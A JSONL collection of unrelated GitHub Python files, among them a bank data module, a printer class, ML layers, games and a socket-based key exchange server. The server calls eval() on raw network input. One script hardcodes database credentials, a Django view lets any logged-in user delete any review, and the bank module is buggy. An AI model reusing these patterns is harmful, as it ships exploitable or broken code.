{"seq_id":"73212809061","text":"from datetime import datetime as dt\r\nimport operator as op\r\n\r\ncustomers =[\r\n  {\r\n    \"id\": 1,\r\n    \"name\": \"Arisha Barron\"\r\n  },\r\n  {\r\n    \"id\": 2,\r\n    \"name\": \"Branden Gibson\"\r\n  },\r\n  {\r\n    \"id\": 3,\r\n    \"name\": \"Rhonda Church\"\r\n  },\r\n  {\r\n    \"id\": 4,\r\n    \"name\": \"Georgina Hazel\"\r\n  }\r\n]\r\n\r\naccounts = [] # {'id': ,'cust_id':, 'name':,'dt_stamp':, 'amount':}\r\ntransfers = [] # {'id':, 'dt_stamp':, 'acc_from':, 'acc_to':,'amount':}\r\n\r\naccount = {'id': 0,'cust_id':0, 'name':'','dt_stamp':dt.now(), 'amount':0}\r\ntransfer = {'id': 0, 'dt_stamp':dt.now(), 'acc_from':0, 'acc_to':0,'amount':0}\r\n\r\n\r\ndef get_customers():\r\n    return customers\r\n\r\ndef get_accounts(selection):\r\n    if selection == 0:\r\n        return accounts\r\n    else :\r\n        return [ sub for sub in accounts if sub['cust_id']==selection ]\r\n\r\ndef get_transfers(acc_id):\r\n    sub_list = [ sub for sub in transfers if sub['acc_from']==acc_id or sub['acc_to']==acc_id ]\r\n    su_list.sort(key=op.itemgetter('dt_stamp'),reverse=True)\r\n    return sub_list\r\n\r\n# appending the transfers list\r\ndef append_transfers(transfer):\r\n    transfers.append(transfer)\r\n    for account in accounts:\r\n        if account['id']== transfer['acc_from']:\r\n            account[amount]-=transfer['amount']\r\n        elif account['id']== transfer['acc_from']:\r\n            account[amount]+=transfer['amount']\r\n\r\n# appending the accounts list\r\ndef append_accounts(account):\r\n    if not accounts:\r\n        account['id'] = 2543001\r\n    else :\r\n        account['id'] = accounts[len(accounts)-1]['id']\r\n    accounts.append(account)\r\n    if not transfers:\r\n        new_transfer_id = 1\r\n    else :\r\n        new_transfer_id = transfers[len(transfers)-1]['id']+1\r\n    transfers.append({'id':new_transfer_id,'dt_stamp':account['dt_stamp'],'acc_from':0,'acc_to':account['id'],'amount':account['amount']})\r\n","repo_name":"ndg-rent/hs_test","sub_path":"data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":1836,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"29306310592","text":"# -* coding: utf-8 *-\n# (C) 2012 by Bernd Wurst <bernd@schokokeks.org>\n\n# This file is part of Bib2011.\n#\n# Bib2011 is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# Bib2011 is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with Bib2011.  If not, see <http://www.gnu.org/licenses/>.\n\nimport time\nfrom .usbprinter import USBPrinter\nfrom .esc import ESCPrinter\n\n \nclass ESCHTML(ESCPrinter):\n    def __init__(self, fileobject):\n        self.printer_out = fileobject\n        self.printer_in = None\n        self.printer_out.write('''<html><head><style>\np {\n    margin: 0;\n    padding: 0;\n}\nbody {\n    font-family: monospace;\n    width: 48ex;\n    padding: 2em;\n    border: 1px solid black;\n}\n</style></head><body>''')\n        self.open_tags = ['html', 'body']\n        self._open_p = False\n        self._fontsize = (1,1)\n        self._align = 'left'\n        self._bold = False\n        self._underlined = False\n\n    def reset(self):\n        pass\n\n    def text(self, string):\n        for line in string.splitlines(keepends=True):\n            self.p(line)\n            \n\n    def bold(self, state=True):\n        self._bold = state\n        self._formatchanged = True\n\n\n    def underline(self, state=True):\n        self._underlined = state\n        self._formatchanged = True\n\n\n    def align(self, align):\n        self._align = align\n        self._formatchanged = True\n\n\n    def font(self, type):\n        pass\n\n\n    def fontsize(self, width, height):\n        self._fontsize = (width, height)\n        self._formatchanged = True\n\n    def p(self, text):\n        style = []\n        if self._bold:\n            style.append('font-weight: bold;')\n        if self._underlined:\n            style.append('text-decoration: underline;')\n        if self._fontsize in [(2,2), (1,2)]:\n            style.append('font-size: 200%;')\n        if self._fontsize == (1,2):\n            style.append('font-stretch: 50%;')             \n        if self._fontsize == (2,1):\n            style.append('font-stretch: 200%;')             \n        \n        if not self._open_p:\n            self.printer_out.write('<p style=\"text-align: %s;\">' % (self._align))\n            self._open_p = True \n        if text == '\\n':\n            text = '&nbsp;\\n'\n        text = text.replace('  ', ' &nbsp;')\n        self.printer_out.write('<span style=\"%s\">%s</span>' % (' '.join(style), text.replace('\\n', ''),))\n        if text.endswith('\\n'):\n            self.printer_out.write('</p>\\n')\n            self._open_p = False\n\n\n    def cut(self):\n        for tag in reversed(self.open_tags):\n            self.printer_out.write('</%s>' % tag)\n\n        \n    def __del__(self):\n        pass\n  \n    \n  \n    def drawerIsOpen(self):\n        return False\n\n","repo_name":"bwurst/bibkasse","sub_path":"src/lib/printer/eschtml.py","file_name":"eschtml.py","file_ext":"py","file_size_in_byte":3127,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"74433160740","text":"import pymysql\nimport pandas as pd\nfrom sqlalchemy import create_engine\n\nclass PancreaticAmylase11():\n        \n        def run(self):\n                \n                con = pymysql.connect(host = 'localhost', port = 3306, user = 'SC', password = 'cnuh12345!', db = 'pancreatic_enzyme_protocol', charset = 'utf8')\n\n                cursor = con.cursor()\n\n                sql1 = '''\n                        SELECT\n                        POD1, POD2, POD3, POD4, POD5, POD6, POD7, POD8, POD9, POD10,\n                        POD11, POD12, POD13, POD14, POD15, POD16, POD17, POD18, POD19, POD20,\n                        POD21, POD22, POD23, POD24, POD25, POD26, POD27, POD28, POD29, POD30\n                        FROM pancreatic_enzyme_protocol.pancreatic_amylase_10\n                        '''\n\n                cursor.execute(sql1)\n\n                result1 = cursor.fetchall()\n\n                df1 = pd.DataFrame(result1,\n                                columns = ['POD1', 'POD2', 'POD3', 'POD4', 'POD5', 'POD6', 'POD7', 'POD8', 'POD9',\n                                                'POD10', 'POD11', 'POD12', 'POD13', 'POD14', 'POD15', 'POD16', 'POD17',\n                                                'POD18', 'POD19', 'POD20', 'POD21', 'POD22', 'POD23', 'POD24', 'POD25',\n                                                'POD26', 'POD27', 'POD28', 'POD29', 'POD30']\n                )\n\n                df1 = df1.astype('float')\n\n                df1['MAX'] = df1.max(axis = 1, skipna = True)\n                df1['MIN'] = df1.min(axis = 1, skipna = True)\n                df1['MEAN'] = df1.mean(axis = 1, skipna = True)\n\n                #print(df1)\n\n                sql2 = '''\n                        SELECT ID, CHKID, Op_Date\n                        FROM pancreatic_enzyme_protocol.pancreatic_amylase_10\n                        '''\n\n                cursor.execute(sql2)\n\n                result2 = cursor.fetchall()\n\n                df2 = pd.DataFrame(result2,\n                                columns = ['ID', 'CHKID', 'Op_Date']\n                )\n\n                df = pd.concat([df2, df1], axis = 1)\n\n                #print(df)\n\n                engine = create_engine(\"mysql+mysqldb://SC:cnuh12345!@127.0.0.1:3306/pancreatic_enzyme_protocol\", encoding = 'utf-8')\n                conn = engine.connect()\n\n                df.to_sql(name = 'pancreatic_amylase_11', con = engine, if_exists = 'replace', index = False)\n                print(\"to pancreatic_enzyme_protocol\")\n\nif __name__ == \"__main__\":\n        obj = PancreaticAmylase11()\n        obj.run()","repo_name":"CNUHGILAB/Gastric_Cancer","sub_path":"Pancreatic_Enzyme(Total)/Pancreatic_Amylase_11(보류).py","file_name":"Pancreatic_Amylase_11(보류).py","file_ext":"py","file_size_in_byte":2547,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"3952990740","text":"from django.shortcuts import render, redirect, reverse\nfrom django.contrib.auth.decorators import login_required\nfrom django.shortcuts import get_object_or_404\nfrom django.contrib import messages\nfrom .models import Review\nfrom .forms import PostReviewForm\n\n\ndef reviews(request):\n    \"\"\" A view to return the reviews page \"\"\"\n\n    reviews = Review.objects.all()\n\n    if request.method == 'POST':\n        form = PostReviewForm(request.POST)\n        if form.is_valid():\n            form.save()\n            messages.success(request, 'Thank you for posting a review!')\n            return redirect(reverse('reviews'))\n        else:\n            messages.warning(request,\n                             'Failed to post the review. Score is out of 5/5.')\n    else:\n        form = PostReviewForm()\n\n    template = 'reviews/reviews.html'\n    context = {\n        'reviews': reviews,\n        'form': form,\n    }\n    return render(request, template, context)\n\n\n@login_required\ndef delete_review(request, pk):\n    review = get_object_or_404(Review, pk=pk)\n    review.delete()\n    return redirect(reverse('reviews'))\n\n","repo_name":"DaveTrev/eye_deal","sub_path":"reviews/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1102,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"11117418296","text":"import tensorflow as tf\n\nimport tensorflow.keras\n#import tensorflow.keras.layers\nimport tensorflow.contrib.rnn\n\nimport tensorflow.summary\n\nimport numpy as np\nimport datetime\n\t\nclass NetBlock(tf.keras.layers.Layer):\n\tdef __init__(self, units, skip_units, kernel_size, dilation = 1, **kwargs):\n\t\tsuper().__init__(**kwargs);\n\t\t\n\t\tself.units = units;\n\t\tself.kernel_size = kernel_size;\n\t\tself.dilation = dilation;\n\t\tself.skip_units = skip_units;\n\t\t\n\tdef build(self, input_shape):\n\t\tself.conv_blocks = (\n\t\t\ttf.keras.layers.Conv1D(self.units, self.kernel_size, activation = 'sigmoid', name='conv_sigmoid', padding = 'same'),\n\t\t\ttf.keras.layers.Conv1D(self.units, self.kernel_size, activation = 'tanh', name = 'conv_tanh', padding = 'same')\n\t\t);\n\t\t\n\t\tif input_shape[2] != self.units:\n\t\t\tself.residual_projector = tf.keras.layers.Conv1D(self.units, 1, name = 'project_residual');\n\t\telse:\n\t\t\tself.residual_projector = None;\n\t\t\n\t\t#if self.skip_units != self.units:\n\t\tself.skip_projector = tf.keras.layers.Conv1D(self.skip_units, 1, name = 'project_skip');\n\t\t#else:\n\t\t#\tself.skip_projector = None;\n\t\t\t\n\tdef call(self, input):\n\t\tconv_out = self.conv_blocks[0](input) * self.conv_blocks[1](input);\n\t\t\n\t\tif self.residual_projector:\n\t\t\tresidual = self.residual_projector(input);\n\t\telse:\n\t\t\tresidual = input;\n\t\t\n\t\tif self.skip_projector:\n\t\t\tskip = self.skip_projector(conv_out);\n\t\telse:\n\t\t\tskip = conv_out;\n\t\t\n\t\treturn (conv_out + residual, skip);\n\nclass Net(tf.keras.layers.Layer):\n\tdef __init__(self, n_skip, blocks, **kwargs):\n\t\tsuper().__init__(**kwargs);\n\t\t\n\t\tself.skip = n_skip;\n\t\tself.block_configs = blocks;\n\t\n\tdef build(self, input_shape):\n\t\tself.blocks = [NetBlock(skip_units = self.skip, **config) for config in self.block_configs];\n\t\n\tdef call(self, input):\n\t\tbatch_size = input.shape[0].value;\n\t\tsequence_length = input.shape[1].value;\n\t\t\n\t\tskip = tf.zeros(shape = (batch_size, sequence_length, self.skip), dtype = tf.float32);\n\t\t\n\t\tfor block in self.blocks:\n\t\t\t(input, skipdelta) = block(input);\n\t\t\t\n\t\t\tskip = skip + skipdelta;\n\t\t\n\t\treturn skip;","repo_name":"alexrobomind/tf_playground","sub_path":"langmuir/convnet_1.py","file_name":"convnet_1.py","file_ext":"py","file_size_in_byte":2042,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"18443619924","text":"import datetime\n\nclass IdentityModel:\n    ID = \"\"\n    firstName = \"\"\n    middleName = \"\"\n    lastName = \"\"\n    bsn = \"\"\n    dateOfBirth = None\n    address = \"\"\n    placeOfResidence = \"\"\n\n    @property\n    def full_name(self) -> str:\n        if len(self.middleName) > 0:\n            return \"{0} {1} {2}\".format(self.firstName, self.middleName, self.lastName)\n\n        return \"{0} {1}\".format(self.firstName, self.lastName)\n\n    def __str__(self):\n        return \\\n            \"ID: {0}\\n\" \\\n            \"First name: {1}\\n\" \\\n            \"Last Name: {2}\\n\" \\\n            \"Middle name: {3}\\n\" \\\n            \"bsn: {4}\\n\" \\\n            \"date of birth: {5}\\n\" \\\n            \"address: {6}\\n\" \\\n            \"place of residence {7}\".format(\n                self.ID,\n                self.firstName,\n                self.lastName,\n                self.middleName,\n                self.bsn,\n                self.dateOfBirth,\n                self.address,\n                self.placeOfResidence\n            )","repo_name":"ipfit7/dummy-data","sub_path":"models/identity_model.py","file_name":"identity_model.py","file_ext":"py","file_size_in_byte":993,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"73942545060","text":"'''\nCreated on Apr 25, 2014\n\n@author: cthaw\n'''\nfrom Crypto.PublicKey import RSA\nfrom Crypto.Signature import PKCS1_v1_5\nfrom Crypto.Hash import SHA256\nfrom base64 import b64encode, b64decode\n#from Crypto.Cipher import PKCS1_OAEP\n\nimport socket\n\nclass authentication(object):\n    \n    \"\"\" actual constructor to be used with network authentication \"\"\"\n# def __inin__ (self):\n#    self.host_pubkeys = []\n#    self.private_key = None\n#    self.public_key = None\n#    self.sock=None\n\n    \"\"\" constructor for authentication testing with Python sockets \"\"\"\n    def __init__(self, public_keyfile, private_keyfile):\n        \n        self.host_ids = ['host1', 'host2', 'host3', 'host4', 'host5']\n        key = open(public_keyfile, 'r').read()\n        self.public_key = RSA.importKey(key)\n        \n        key = open(private_keyfile, 'r').read()\n        self.private_key = RSA.importKey(key)\n        \n        self.host_pubkeys = []\n        \n        self.sock = None\n        \n    def bindsocket (self, clientsocket):\n        self.sock = clientsocket\n        \n    def addhostkey(self):\n        encrypted_public_key = eval(self.sock.recv(4096))\n       # signature = self.sock.recv(4096)\n        #print(b64decode(signature))\n        public_key = self.private_key.decrypt(encrypted_public_key)\n        exists = False\n        i=0\n        \n       # signer = PKCS1_v1_5.new(public_key)\n       # digest = SHA256.new()\n       # data = b64encode(\"HOST_SIGNATURE\")\n       # digest.update(b64decode(data))\n        \n       # if signer.verify(digest, b64decode(signature)):\n       #     print (\"Signature Passed!\")\n            \n        while i in range(0, len(self.host_pubkeys)) and not exists:\n            \n            if self.host_pubkeys[i] == public_key:\n                exists = True\n                \n            i+=1\n            \n        if not exists:\n            self.host_pubkeys.append(public_key)\n\nif __name__ == '__main__':\n    private_keyfile = str(\"controllerPrivateKey.pem\")\n    public_keyfile = str(\"controllerPublicKey.pem\")\n    \n    ssocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    ssocket.bind((socket.gethostname(), 23456))\n    auth = authentication(public_keyfile, private_keyfile)\n    ssocket.listen(5)\n    c = True\n    \n    while c:\n        (clientsocket, address) = ssocket.accept()\n        auth.bindsocket(clientsocket)\n        auth.addhostkey()\n        clientsocket.close\n        print(auth.host_pubkeys)\n        \n        x = raw_input(\"Continue? press y: \")\n        c = True if x == 'y' else False\n        \n        if not c:\n            ssocket.close","repo_name":"CThaw90/SDNHeaderAuthentication","sub_path":"controller.py","file_name":"controller.py","file_ext":"py","file_size_in_byte":2568,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"30728691253","text":"import re\n#import pdb\n\nhtml_pdf_links_str = r\"\"\"<p>Open: <a href=\"https://drive.google.com/open?id=IDSTR\" target=\"_blank\">https://drive.google.com/open?id=IDSTR</a></p>\n<p>Download: <a href=\"https://drive.google.com/uc?export=download&id=IDSTR\" target=\"_blank\">https://drive.google.com/uc?export=download&id=IDSTR</a></p>\"\"\"\n\ndownload_only_str = r\"\"\"<p>Download: <a href=\"https://drive.google.com/uc?export=download&id=IDSTR\" target=\"_blank\">https://drive.google.com/uc?export=download&id=IDSTR</a></p>\"\"\"\n\nopen_only_str = r\"\"\"<p>Open: <a href=\"https://drive.google.com/open?id=IDSTR\" target=\"_blank\">https://drive.google.com/open?id=IDSTR</a></p>\"\"\"\n\nopen_link_only_str = r\"\"\"https://drive.google.com/open?id=IDSTR\"\"\"\n\npure_open_only_str = r\"\"\"<p><a href=\"https://drive.google.com/open?id=IDSTR\" target=\"_blank\">https://drive.google.com/open?id=IDSTR</a></p>\"\"\"\n\npure_link_str = r'<p><a href=\"MYPATH\" target=\"_blank\">MYPATH</a></p>'\n\n## Two forms of gdrive links:\n#https://drive.google.com/file/d/1zzY_zN6DJMCZtohuMc0lgB8gzxOE01u5/view?usp=sharing\n#https://drive.google.com/open?id=1zzY_zN6DJMCZtohuMc0lgB8gzxOE01u5\n#https://docs.google.com/presentation/d/1y4s2w0wuN_MBtho-84gKhbRnza-_04FqS6bNQI30mJg/edit?usp=sharing\n#https://docs.google.com/presentation/d/1y4s2w0wuN_MBtho-84gKhbRnza-_04FqS6bNQI30mJg/edit?usp=sharing\n#https://drive.google.com/drive/folders/1K1QvjItpjSvSh1Y9MlZY1fczrC94oO4C?usp=sharing\n#https://docs.google.com/document/d/1HjKxcGE2ITonkNe9SFfcBUX6FhLYQBR4euhTESZe9Q4/edit?usp=sharing\n#https://docs.google.com/spreadsheets/d/16entjTxdN6CB1l-sTAC02orYOAeJHpvk5Pf-Gw2pOak/edit?usp=sharing\n\nchop_list = [\"/view\",\"/edit\"]\n\n\ndef chop_from_end(linkin):\n    linkout = linkin\n    for item in chop_list:\n        if item in linkout:\n            linkout, rest = linkout.split(item, 1)\n    return linkout\n\n\nd_file_types = ['file','presentation','document','spreadsheets']\n\ndef break_file_d_link(linkin, filetype='file'):\n    splitstr = filetype + '/d/'\n    base, linkid = linkin.split(splitstr,1)\n    linkid = chop_from_end(linkid)\n    return linkid\n\n\ndef break_folder_link(linkin):\n    splitstr = '/folders/'\n    base, linkid = linkin.split(splitstr,1)\n    linkid = chop_from_end(linkid)\n    return linkid\n    \n\ndef get_file_id(linkin):\n    match = False\n    if \"id=\" in linkin:\n        base, linkid = linkin.split(\"id=\",1)\n        match = True\n    else:\n        for item in d_file_types:\n            search_str = \"/\" + item + \"/\"\n            if search_str in linkin:\n                match = True\n                #pdb.set_trace()\n                linkid = break_file_d_link(linkin, filetype=item)\n                break\n\n    if not match:\n        folder_str = '/folders/'\n        if folder_str in linkin:\n            match = True\n            linkid = break_folder_link(linkin)\n        else:\n            raise ValueError(\"Cannot work with this link: %s\" % linkin)\n    return linkid\n\n\ndef jupyter_notebook_gdrive_img_link(linkin, width=300):\n    # goal: <img src=\"https://drive.google.com/uc?id=1sRRu8WPs9yBBOEC7OkComZfUd5P5h7CY\" width=300px>\n    pat = '<img src=\"https://drive.google.com/uc?id=%s\" width=%ipx>'\n    my_id = get_file_id(linkin)\n    out_str = pat % (my_id, width)\n    return out_str\n\n\ndef gdrive_url_builder(linkin):\n    my_id = get_file_id(linkin)\n    url = \"https://drive.google.com/uc?id=%s\" % my_id\n    return url\n\n\ndef markdown_jupyter_download_link(linkin):\n    my_id = get_file_id(linkin)\n    download_str = \"https://drive.google.com/uc?export=download&id=%s\" % my_id  \n    out_str = \"[%s](%s)\" % (download_str, download_str)\n    return out_str\n\n\ndef download_for_gslides(linkin):\n    my_id = get_file_id(linkin)\n    download_str = \"https://drive.google.com/uc?export=download&id=%s\" % my_id  \n    out_str = \"%s\" % download_str\n    return out_str\n\n\ndef markdown_pdf_open_link(linkin):\n    my_id = get_file_id(linkin)\n    open_str = \"https://drive.google.com/open?id=%s\" % my_id\n    out_str = '[%s](%s){target=\"_blank\"}' % (open_str, open_str)\n    return out_str\n\n\ndef pdf_link_download_maker(linkin):\n    linkid = get_file_id(linkin)\n    out_str = html_pdf_links_str.replace(\"IDSTR\",linkid)\n    print(out_str)\n\n\ndef pdf_link_download_maker_no_print(linkin):\n    linkid = get_file_id(linkin)\n    out_str = html_pdf_links_str.replace(\"IDSTR\",linkid)\n    return out_str\n\n\ndef pdf_link_download_only_no_print(linkin):\n    linkid = get_file_id(linkin)\n    out_str = download_only_str.replace(\"IDSTR\",linkid)\n    return out_str\n\n\ndef link_open_only_no_print(linkin):\n    linkid = get_file_id(linkin)\n    out_str = open_only_str.replace(\"IDSTR\",linkid)\n    return out_str\n\n\ndef link_open_link_only(linkin):\n    linkid = get_file_id(linkin)\n    out_str = open_link_only_str.replace(\"IDSTR\",linkid)\n    return out_str\n    \n\ndef link_pure_open_no_print(linkin):\n    linkid = get_file_id(linkin)\n    out_str = pure_open_only_str.replace(\"IDSTR\",linkid)\n    return out_str\n\n\ndef youtube_link(linkin):\n    out_str = pure_link_str.replace(\"MYPATH\", linkin)\n    return out_str\n\n","repo_name":"ryanGT/teaching","sub_path":"bb_utils.py","file_name":"bb_utils.py","file_ext":"py","file_size_in_byte":4990,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"35"}
{"seq_id":"3848118399","text":"import pygame\n\nfrom base.dialog.base import BaseDialog\nfrom util.globals import *\n\n\nclass BaseInputDialog(BaseDialog):\n    def __init__(self, parent, on_confirm=None):\n        super().__init__(parent)\n\n        self.input = ''\n        self.description = ''\n\n        self.on_confirm = on_confirm\n        self.confirm_rect = None\n        self.description_rect = None\n\n    def init(self):\n        super().init()\n        self.input = ''\n\n    def draw(self, surface):\n        super().draw(surface)\n        self.draw_input_box(self.layout)\n        self.draw_confirm(self.layout)\n        self.draw_description(self.layout)\n\n    def draw_input_box(self, layout):\n        input = get_small_font().render(self.input, True, COLOR_BLACK)\n\n        background = pygame.Surface(size=(self.layout_rect.w - 4 * get_medium_margin(), input.get_height() + get_small_margin()))\n        background.fill(COLOR_LIGHT_GRAY)\n\n        layout.blit(background, background.get_rect(center=(self.layout_rect.w // 2, self.layout_rect.h // 2)))\n        layout.blit(input, input.get_rect(center=(self.layout_rect.w // 2, self.layout_rect.h // 2)))\n\n\n    def draw_confirm(self, layout):\n        text = get_medium_font().render('확인', True, COLOR_BLACK)\n        self.confirm_rect = layout.blit(text, text.get_rect(midbottom=(self.layout_rect.w // 2, self.layout_rect.h - get_medium_margin())))\n\n    def draw_description(self, layout):\n        text = get_medium_font().render(self.description, True, COLOR_BLACK)\n        self.description_rect = layout.blit(text, text.get_rect(midbottom=(self.layout_rect.w // 2, self.layout_rect.h - self.confirm_rect.h - get_medium_margin())))\n\n\n    def run_key_event(self, event):\n        super().run_key_event(event)\n\n        key = event.key\n        if key == pygame.K_RETURN:\n            if self.on_confirm:\n                self.on_confirm()\n            else:\n                self.dismiss()\n        elif key == pygame.K_BACKSPACE:\n            self.input = self.input[:-1]\n        else:\n            self.input += event.unicode\n\n\n    def run_click_event(self, event):\n        super().run_click_event(event)\n        pos = self.get_pos()\n\n        if self.confirm_rect.collidepoint(pos):\n            if self.on_confirm:\n                self.on_confirm()\n            else:\n                self.dismiss()\n\n\n","repo_name":"Hong-Mu/uno-python","sub_path":"base/dialog/baseinputdialog.py","file_name":"baseinputdialog.py","file_ext":"py","file_size_in_byte":2303,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"1828856481","text":"'''Turtle crossing game built with pythons turtle module'''\nfrom turtle import Screen\nimport time\nfrom cars import Cars\nfrom my_turtle import MyTurtle\nfrom level import Level\n\ngame_in_play = True\ncar_speed = 1\n\nscreen = Screen()\nscreen.setup(600, 600)\nscreen.title(\"Turtle Crossing\")\nscreen.bgcolor('white')\nscreen.tracer(0)\ncars = Cars()\nted = MyTurtle()\nlevel = Level()\n\nscreen.onkeypress(fun=ted.move_up, key='Up')\nscreen.onkeypress(fun=ted.move_back, key='Down')\nscreen.listen()\n\n\n\nwhile game_in_play:\n    screen.update()\n    cars.move_cars(car_speed)\n    time.sleep(0.1)\n    for car in cars.cars:\n        if ted.distance(car) < 14:\n            game_in_play = False\n            level.game_over()\n        elif ted.ycor() > 295:\n            level.level += 1\n            car_speed += 0.2\n            level.update_level()\n            ted.move_home()\n\nscreen.exitonclick()\n","repo_name":"balcoder/python_100daysofcode","sub_path":"day23/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":872,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"18033524047","text":"from time import sleep\nfrom combgen.permutations.sjt.coroutine import setup, gen_all\nfrom combgen.permutations.sjt.recursive import gen_all as recursive_gen_all\nfrom combgen.utils import log_execution_time\n\n\ndef cyclic_test(n):\n    pi, lead = setup(n)\n    c = 0\n    while True:\n        print(''.join(str(x) for x in pi[1:-1]))\n        c += 1\n        if not next(lead):\n            print('-------')\n            print(c)\n            print('-------')\n            sleep(1)\n            c = 0\n\n\n@log_execution_time\ndef test_generator(gen):\n    for __ in gen(1):\n        pass\n\n\ndef main():\n    # cyclic_test(2)\n    print('Testing coroutine-based algorithm:')\n    test_generator(gen_all)\n    print('Testing recursive algorithm:')\n    test_generator(recursive_gen_all)\n    print('\\n'.join(''.join(str(x) for x in pi) for pi in gen_all(1)))\n    print('\\n'.join(''.join(str(x) for x in pi) for pi in gen_all(2)))\n    print('\\n'.join(''.join(str(x) for x in pi) for pi in gen_all(3)))\n    print('\\n'.join(''.join(str(x) for x in pi) for pi in gen_all(4)))\n    cyclic_test(3)\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"PeterUSA123/coroutine-generation","sub_path":"combgen/permutations/sjt/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":1103,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"35"}
{"seq_id":"38264589023","text":"#!/usr/bin/python3\n\"\"\"Creates a linked list.\"\"\"\n\n\nclass Node:\n    \"\"\"Node class of the linked list\"\"\"\n\n    def __init__(self, data, next_node=None):\n        \"\"\"Initializes the node\"\"\"\n        self.data = data\n        self.next_node = next_node\n\n    @property\n    def data(self):\n        \"\"\"Retrieves the data of the node\"\"\"\n        return self.__data\n\n    @data.setter\n    def data(self, value):\n        \"\"\"Sets the data of the node\"\"\"\n        if not isinstance(value, int):\n            raise TypeError(\"data must be an integer\")\n        self.__data = value\n\n    @property\n    def next_node(self):\n        \"\"\"Retrieves the next node of the current node\"\"\"\n        return self.__next_node\n\n    @next_node.setter\n    def next_node(self, value):\n        \"\"\"Sets the next node of the current node\"\"\"\n        if not isinstance(value, Node) and value is not None:\n            raise TypeError(\"next_node must be a Node object\")\n        self.__next_node = value\n\n\nclass SinglyLinkedList:\n    \"\"\"Linked list class\"\"\"\n\n    def __init__(self):\n        \"\"\"Initializes the linked list\"\"\"\n        self.__head = None\n\n    def sorted_insert(self, value):\n        \"\"\"Inserts a node into the linked list\"\"\"\n        if self.__head is None:\n            self.__head = Node(value)\n        elif value < self.__head.data:\n            self.__head = Node(value, self.__head)\n        else:\n            new = Node(value)\n            node = self.__head\n            while node.next_node and node.next_node.data < value:\n                node = node.next_node\n            new.next_node = node.next_node\n            node.next_node = new\n\n    def __str__(self):\n        \"\"\"Modifies the way to print the class\"\"\"\n        node = self.__head\n        string = \"\"\n        while node:\n            string += str(node.data) + \"\\n\"\n            node = node.next_node\n        string = string[:-1]\n        return string\n","repo_name":"Nachop51/holbertonschool-higher_level_programming","sub_path":"0x06-python-classes/100-singly_linked_list.py","file_name":"100-singly_linked_list.py","file_ext":"py","file_size_in_byte":1874,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"35"}
{"seq_id":"8117237198","text":"import unittest\nimport os\nimport shutil\nfrom tensorflow import keras\nimport numpy as np\n\ndef build_sequential_model():\n\n    (train_images, train_labels), (test_images, test_labels) = keras.datasets.fashion_mnist.load_data()\n    train_images = train_images.astype(np.float32) / 255.0\n    test_images = test_images.astype(np.float32) / 255.0\n\n    # Create Keras model\n    model = keras.Sequential([\n        keras.layers.InputLayer(input_shape=(28, 28), name=\"input\"),\n        keras.layers.Reshape(target_shape=(28, 28, 1)),\n        keras.layers.Conv2D(filters=12, kernel_size=(3, 3), activation='relu'),\n        keras.layers.Conv2D(filters=12, kernel_size=(3, 3), activation='relu'),\n        keras.layers.Conv2D(filters=12, kernel_size=(3, 3), activation='relu'),\n        keras.layers.Conv2D(filters=12, kernel_size=(3, 3), activation='relu'),\n        keras.layers.Conv2D(filters=12, kernel_size=(3, 3), activation='relu'),\n        keras.layers.MaxPooling2D(pool_size=(2, 2)),\n        keras.layers.Flatten(),\n        keras.layers.Dense(10, activation=\"softmax\", name=\"output\")\n    ])\n\n    # Print model architecture\n    model.summary()\n\n    # Compile model with optimizer\n    opt = keras.optimizers.Adam(learning_rate=0.01)\n    model.compile(optimizer=opt,\n                loss=\"sparse_categorical_crossentropy\",\n                metrics=[\"accuracy\"])\n\n    # Train model\n    model.fit(x={\"input\": train_images}, y={\"output\": train_labels}, epochs=1)\n    model.save(\"./models/saved_model\")\n\n    return\n\nclass Dataset(object):\n    def __init__(self):\n        (train_images, train_labels), (test_images,\n                    test_labels) = keras.datasets.fashion_mnist.load_data()\n        self.test_images = test_images.astype(np.float32) / 255.0\n        self.labels = test_labels\n\n    def __getitem__(self, index):\n        return self.test_images[index], self.labels[index]\n\n    def __len__(self):\n        return len(self.test_images)\n\n# Define a customized Metric function \nfrom neural_compressor.metric import BaseMetric\nclass MyMetric(BaseMetric):\n    def __init__(self, *args):\n        self.pred_list = []\n        self.label_list = []\n        self.samples = 0\n\n    def update(self, predict, label):\n        self.pred_list.extend(np.argmax(predict, axis=1))\n        self.label_list.extend(label)\n        self.samples += len(label) \n\n    def reset(self):\n        self.pred_list = []\n        self.label_list = []\n        self.samples = 0\n\n    def result(self):\n        correct_num = np.sum(\n            np.array(self.pred_list) == np.array(self.label_list))\n        return correct_num / self.samples\n\nclass TestMixedPrecisionWithKerasModel(unittest.TestCase):\n    @classmethod\n    def setUpClass(self):\n        os.environ['FORCE_FP16'] = '1'\n        os.environ['FORCE_BF16'] = '1'\n        build_sequential_model()\n\n    @classmethod\n    def tearDownClass(self):\n        del 